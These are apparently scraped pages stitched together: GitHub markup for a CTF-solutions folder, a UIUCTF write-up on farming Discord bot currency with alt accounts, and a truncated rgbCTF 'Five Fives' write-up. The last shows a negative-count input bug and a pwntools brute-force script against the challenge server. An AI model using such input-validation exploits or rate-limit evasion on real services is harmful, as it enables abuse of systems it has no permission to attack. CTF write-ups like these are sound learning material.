viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/BigB00st/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":252509468,"originating_url":"https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/rev/sadistic-reversing-2","user_id":null}}" data-hydro-click-hmac="0f430013d270dc7a2ad1ec5bf9ee843f0b367a61b3ccd63f2a4171ec301183cc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>rev</span></span><span>/</span>sadistic-reversing-2<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>rev</span></span><span>/</span>sadistic-reversing-2<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/BigB00st/ctf-solutions/tree-commit/7c1b43f086e22c70e3f52420504fe4307b842f5c/rgbCTF/rev/sadistic-reversing-2" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3">ย </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/BigB00st/ctf-solutions/file-list/master/rgbCTF/rev/sadistic-reversing-2"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>.โ€Š.</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>itwk.so</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7">ย </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text">ย </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> ยฉ 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You canโ€™t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Omega Stonks ## 27(?) Solves, 50 Points --- First, I have to thank our amazing group of friends, AC, Bacon, as well as our imaginary friends JC01010, JC01010, JC01010, and JC01010 for helping out with this challenge - without them, we could not have solved this challenge. Three members of our team, Bacon, AC and I decided to play around with the bot. Unsure of whether or not the bot had a challenge meant for it, we !work-ed a bit but didn't get far. However, as soon as the "Omega Stonks" challenge was uploaded, we went for the flag. Our strategy was simple. !work gave you between 100 and 500 coins, with the expected value of 300 coins every 10 seconds. However, with 3 members, this could be tripled to 900 coins every 10 seconds. This leads to a 5400 coins/min, or 324000 coins/hour. However, the bot slowed down tremendously due to the immense load put onto the bot by people using macros or bots. The flag cost 500,000 coins, so at a completely optimal pace, it would take approximately 1.543 hours, or 1 hour, 32 minutes and 34.8 seconds to get the flag. However, discord's slow mode is broken! Since the slow mode counter starts from 10, and ends at 0, it actually takes 11 seconds for the slow mode to allow you to send another message. Time to redo the math! 900 coins/11 seconds 4909.1 coins/minute 294546/hour It would now take 1.69752772 hours, or 1 hour, 41 minutes and 51.1 seconds to get the flag. That, combined with human error and it being midnight in New Jersey was almost a deal breaker. That is, until I realized I could use alt accounts. My friends JC01010, JC01010, JC01010, and JC01010 generously allowed me to use their discord accounts to !work overtime. By using chrome, chrome's incognito tab, edge (disgusting), and edge InPrivate (incognito) mode, I could bot with 3 different accounts. On top of that, by using AC's old computer, I could use a 5th (and even 6th, 7th, 8th) accounts if I wanted. However, gmail was limiting my account creation usage so I decided against it. We started using these accounts when were were at approximately 200,000 coins. This left us with 300,000 coins to go, and 7 accounts generating coins each at 300 coins/11 seconds. Time for some more math! 7*300 coins/11 seconds = 2100 coins/11 seconds 11454.55 coins/minute 687273 coins/hour Reaching 300,000 coins would take 0.44 hours, or 26 minutes, 11.43 seconds of perfect spamming between multiple different tabs, and 7 accounts between 4 people. We captured some great moments: one can be seen [here](https://cdn.discordapp.com/attachments/622189936745119744/733906110809112636/unknown.png) and [here](https://cdn.discordapp.com/attachments/718642786068332584/734632828188229702/unknown.png). As a side note, one of my friends JC01010 got banned(?). Rest in peace, JC01010#7737; you will be missed. After 4 hours of !working overtime and transferring credits to me, we finally reached 500,000 credits. Typing `!buy flag` got us a flag and a dm from the Isabelle bot: **Flag: uiuctf{so_much_money_so_much_time_enjoy_50_points_XD}**
# Five Fives writeup by [5225225](https://www.5snb.club) for [BLร…HAJ](https://blahaj.awoo.systems) **Pwn/Rev****476 points****46 solves** > java SecureRandom is supposed to be, well, secure, right? provided file: <Main.java> ## writeup At first glance, this challenge looks like a RNG prediction challenge, where you need to recreatethe seed from the output, and then guess future output. ```java//You'll never find my seed now!int sleep = ThreadLocalRandom.current().nextInt(10000);Thread.sleep(sleep);long seed = System.currentTimeMillis();ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);bb.putLong(seed);SecureRandom r = new SecureRandom(bb.array());Thread.sleep(10000 - sleep);``` The code does manually seed a `SecureRandom` with a predictable input, namely the`System.currentTimeMillis`. There is a 10 second window where the seed could be generated, sothere's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clockvariance between us and the server, and this is a very doable attack. However, it turns out SecureRandom is only insecure with a given seed on windows. On otherplatforms, it just reads from `/dev/urandom`, which is secure. Trying the attack fails, even aftera few attempts. While looking at the code, you notice the odd writing of the `for` loops ```javafor (int i = 0; i != 5; i++) { System.out.print((r.nextInt(5) + 1) + " ");}``` They use `!=` instead of the more robust `<` consistently. ```javaSystem.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");int numTries = Integer.parseInt(in.nextLine());if (numTries > 20) { System.out.println("Sorry, you don't have enough money to buy all of those. :("); System.exit(0);}``` Here, they check for going *over* 20, but not under. ```javafor (int i = 0; i != numTries; i++) { System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:"); String[] ticket = in.nextLine().split(" "); boolean winner = true; for (int b = 0; b != 5; b++) { if (nums[b] != Integer.parseInt(ticket[b])) { winner = false; break; } } if (!winner) { System.out.println("Your ticket did not win. Try again."); } else { System.out.println("Congratulations, you win the flag lottery!"); outputFlag(); }}``` Entering a `numTries` of -50000 will let you simply do a brute force attack against everypossibility, since -50000 is indeed *not* equal to 0, and you will be incrementing for a long timeuntil 0 reaches -50000. ```pythonimport timeimport itertoolsfrom pwn import * r = remote("challenge.rgbsec.xyz", 7425) r.readuntil("How many tickets would you like to buy?")r.clean() r.send(b"-50000\n") ra = range(1, 6)print(r.clean())for i in itertools.product(range(1, 6), repeat=5): r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8")) time.sleep(0.01) print(r.clean())``` I'm dumping the output of `r.clean()` as I don't 